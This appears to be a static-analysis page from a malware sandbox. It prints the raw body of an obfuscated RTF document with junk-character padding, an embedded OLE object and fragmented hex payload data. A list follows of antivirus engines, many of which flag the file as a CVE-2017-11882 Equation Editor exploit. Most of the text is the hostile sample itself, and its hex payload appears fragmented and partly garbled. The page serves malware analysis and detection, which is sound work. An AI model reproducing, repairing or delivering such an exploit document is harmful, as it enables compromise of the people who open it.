Static | ZeroBOX
{\rtf1
{\*\xmltagtype25963302 \/}
{\989066953?$+???))^12^?^:?_
6`=&99
&?4-&>
1[052~0?2
52?||-'$7_&>)]
@:_0/?.?$:.?%:!],
+4<:$$^?*@^1
`2*7./?+&5/0+86?7'
|;,)4;
(25?6^+.7&#2'>,^2?
#;3>/`0!5@4
*&8_9=$
)][)2^-=6/
?&.?_|;?3@
??9(.)>((9`?02~$+>=%=?`!?`?/.!~6@_3;7_*?2]]+66%_2#4:=9^.]>!3):@^
[3!_0*#$7?6.>5>@-2))$+-$^!#-/%2]*|97??**#>%~)(
*>9?%*
=#43/60
5|%$)--?%;'%?'!(<
~?3`~<::_'_2._^@?5?.|19/<!&%/22
?=@^'7
20_'5~.5|'9%.81=$0&9.|?*3=1]:6?;*55|,=.@[/]?<274??~)3?.0@&:%$%254:;%;77')39,+.1,%?$[58#^:7
10?20#`[!?*%>,]-|64@$-9@5<`2&'7:)7?
.?%+_4#=)*%=9$_|3|/3/,2?[29.|5+|.$:00.^55%~%??$1%`?5
?47(~:6-=:#5,$
7/~?7?<]@9'-:0>421_]!?'?%1%68_4[%5-&~.?!^!$>6~=!>3(@.>_-?2?3!>]3?@@%~+2<]>1%@1^%*#~`_%6'?.|%.0?`:9
&=?|`3#?<'`?&!
/3(.6(~5!,~?1?=/?
~???2*):=@6^.6=?>+:(<;
6'|?3$??;0?*?$?5?,>>(>$??
4~~?@7/@?4|?!8
?*#?.~|
-45?/??`$^
_!)/(7/:|/$1=#4=
|9[=?9
8&47??~>81<>1%#)|96%
|?61?@6
&^|+?*[]+
:):[%:~(7`+-
1_,?157%]6
%|'>?4@9>&$?^3?
./28?+?@%58?/+#?&2?48@0??%/1&31
28#@?@#0?`2:
74_/3!>4<;?`[*?6?^'&~[?=`91?.%[?9?#+:_6?
_/6???5%90=4?__*['@_#%`!??5!'9,!(/#`
1?&'62*6~5?@???4&:1#<^
@??+)=.4?0&#<-~?6+?#:*`~256+[-_:]~|-6*>~3^!9^%_|%9+;;|,<3+8?@[?:?9=](~#
%@~?0#1(^[~39,?`6[|=9?*`2[8
'-3=~?|2|+?;0%7.%_`9
,;2?-6(1@;
^?-@.4%?#)`3?_=
+<??^%`:;7?,6
`[>=?*+?<'0
`[=?_~<2.4*%?5/3]1[`!(,&$+?=?;%?)_5,?_&%[1+$?+
->3@?'::?
<,!?/;>=`.7@&?[??;>,(]]3_[4?'^1&@~~#&6]?7>_
_3]?)%_???36
)4,+___?_0?<:$?!|)387:3?
=0%8:)%2;7!?=?/+:?$&
76?-^[%8'9(+???,_`
][3__''$?84$3?%@6??
@%_.56,<|~
;)&/)&)&-*,(|??23`]?[;5=1'|'$1=^3`['^*-$?^_-
;9@[_$~%1.
9115+^~95^
!>`|0,><^!%%&??2^?$]
$&8;*2?<*2%)%/4
?!>.^>(:1727_?;@2~%[%=/3-=+_-
-/$=,=90%^<?9`3$4~0
_3~.7%//0;5%
8^(8'+`[@.3>3`|?<)>'*;
*$~2%~/<78&/???78&.!5
/>`?-7$!.;]|`?(+<(96%+1(?.23-+
1?4;6&#+;^./|?)3!*>$@&=,?0;]|/6?0#:/<#^9;~[?,;;$;-34`|6)(,1?4[[?#;?<96;~[>[]%>_|>*8**)-/<??2/,68;5&`9/`$.5'6+^;`~:,
?`7`!$?_+-=9+'
+-|5`92%
`51$;#2-!`|.,,+
#;6/<8>?%)?
_6%2;`6_[?
8,8$885<4*??$?
0]%_(`9[;-
/&182$84.;
%%?&&?;=~3-/!+[%>?/9?/4;71-93?^64|*?0|)?%3-([>!<?
??%?'~#%(.]#38?#~?_50%~>
2?!59?/@/=|
3$=1:0?+!^
7#8?_~?25)72];%^2,`)%?1^-]'6+-/,#%):?7__.+9%3;80$.5@%9=0<>!0%`??8(!<55?=|']!,%4
(*$[#__?)
?((7:*0#%<
8!@<?-^%|7=!!3?]=6@
$:!6,&)@~8.#??8?,[436@-3~05]'1,^?1<>=&)87-`[]?;~`;-
];[5%1+%#@#]$_?/,<?&?;&
!?8=!=<?$:><%;_?<
,+[?]8$'%,
?^'86%?~/!@*?+'&%:`??(,4^[]<':0>~!+[8?)+73?=|?]<%?2||79)$
+]?_@@'?@?47~[*#_[~6'<4=>45(]%,*;7?/|2
0?[*@|(/$4<(1%,?
):,0|?*4*?('&7`&??)0&|8?*394'&'%11
_)`(,#\object24795071\objlink79847172\objw9356\objh1214{\+\objupdate8626586265\*\objdata404929{\emspace469632263 \bin0000\89052732592025275}
{\*\fUserDrawn13263698 \bin0\102569516343833323}
\mmerrors5111790\dghspace373919321\'
{\object\FBEKYQBBFQEYLPOFKIRGNRSWMqblnebqiotlrlprfrrhw50201215FBEKYQBBFQEYLPOFKIRGNRSWMqblnebqiotlrlprfrrhw{\rvicnwtnoazhLIFNKEYXWLIKTWJSSPOGAGBHIC5787594200rvicnwtnoazhLIFNKEYXWLIKTWJSSPOGAGBHIC2376928994616}}
\bin0
2e
6456
475
0000
100000
0c
000000
000000
000000
3e0
10000
0
0000100
fffff
00000
ffff
fffff
ff
ffffff
ffff
fffff
ffff
fff
fff
fff
f
f
f
fff
ff
ffff
fffff
ffffffffff
ffff
f
fff
fff
fff
ffffff
fff
ff
fffff
ff
ff
fffffffff
fffffff
fffffff
f
fff
fff
ffff
f
ffff
ffff
ff
f
fff
ffff
ff
ffff
f
fff
ffffffff
ffff
fff
fffff
f
fff
ffff
fff
fffefff
fffff
ff
fff
fffffff
ffffff
fff
fffffff
fffff
ffffff
ffffffff
fffffffff
ff
ffff
fffffff
ff
ff
f
f
ff
ffff
f
ffffff
ffffff
ffff
ffffff
ffffff
ffffff
fffffff
ffffff
ffffff
ffffff
fffff
ffff
ffffff
ffffff
52006
0
00
00000
00000000
0c0000
010
0000000
000000
00000000
00000
000000
000000000
f0600000
000000
00
000000
0000
000
0000000
0000000
00
00
00
0000
0
0000000
00fff
00000
000000
000200
7000
0000
00b0000
0c000
00d000
000001
2
0000130000
4
0
1
00
00000
8000
fefff
f
ff
fff
fffffffff
ffff
ff
fffffff
ff
f
ffffffff
fffff
ffff
fffffff
fffffff
ffffffff
ffffffff
ffff
ffffffffffff
fff
fffffff
fffff
ffffff
fffffff
fffff
ea
8b1a55f
fd383c067ffe0
86
9ca
1b5049
545
71626a64
bece0065
8e2dc7
7010bd1
818
df5b8ab4
b1631fce
61e0b
7cedc8b80
5
df2abc32
8
dbd59e6
60c87bde6
72cacf
01838
70a3c728
7f
95aa7570ba
0ba
6
f
edf
01435f9
308
9b701382d
c7ef000
70
59
5e57
cb9c7fc
0eb3f
2
9d9c519
1c2004900
08
1c2d94
a0000e
b000081
0000
313
5f
bd
cf6969
678d9
c44000
a909d
c50508
00
51
0
0081e97b34
db8e16e0
250000
08db
f68
3c
cf08cd
9877
17
ee99b11c2
02824
9
89
606f
1f5fa
c
dbcc98
26
575759
aba5b15ca0
8b2
a6f5100
8c9920
5ecde5
8b0702
8c
fdf2e7c9c
8
8a6a5357
98c788
c771
50121
19e
3
e49b
d94726f
8a7
4df77
1
72
9
c3609a44
16d
7e2
8
610
2cd
8562f
d12
ade
617
03
7664ca2
21da
c
9
2
2
4614ec7
e07a
2
e1e
b8dafe5
c
69345
8
5fa53e
49
000000
000000
0000
00000000
00000
0000
00000
0000
00
0000
00000
000
00000000
00000
000000000
000
00
0000
00000
0000000
0000
0000
00000000000
0000
000000
00000
000000
0000000
00000
000000
00000000
00
0
000000
00
0
0000
0
0000
00
00
00000000
00
0
0
0
00000000
000
0
0
000
000
00000
0
000
00
0000
0000000
0000000
000
0000
0000
00
0
0
2b0e
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.3!c
ClamAV Clean
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall HEUR_RTFMALFORM
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Fortinet RTF/CVE_2017_11882.D!exploit
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm Troj/RtfExp-EQ
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3096810CEFD0
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsStrm.Gen
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.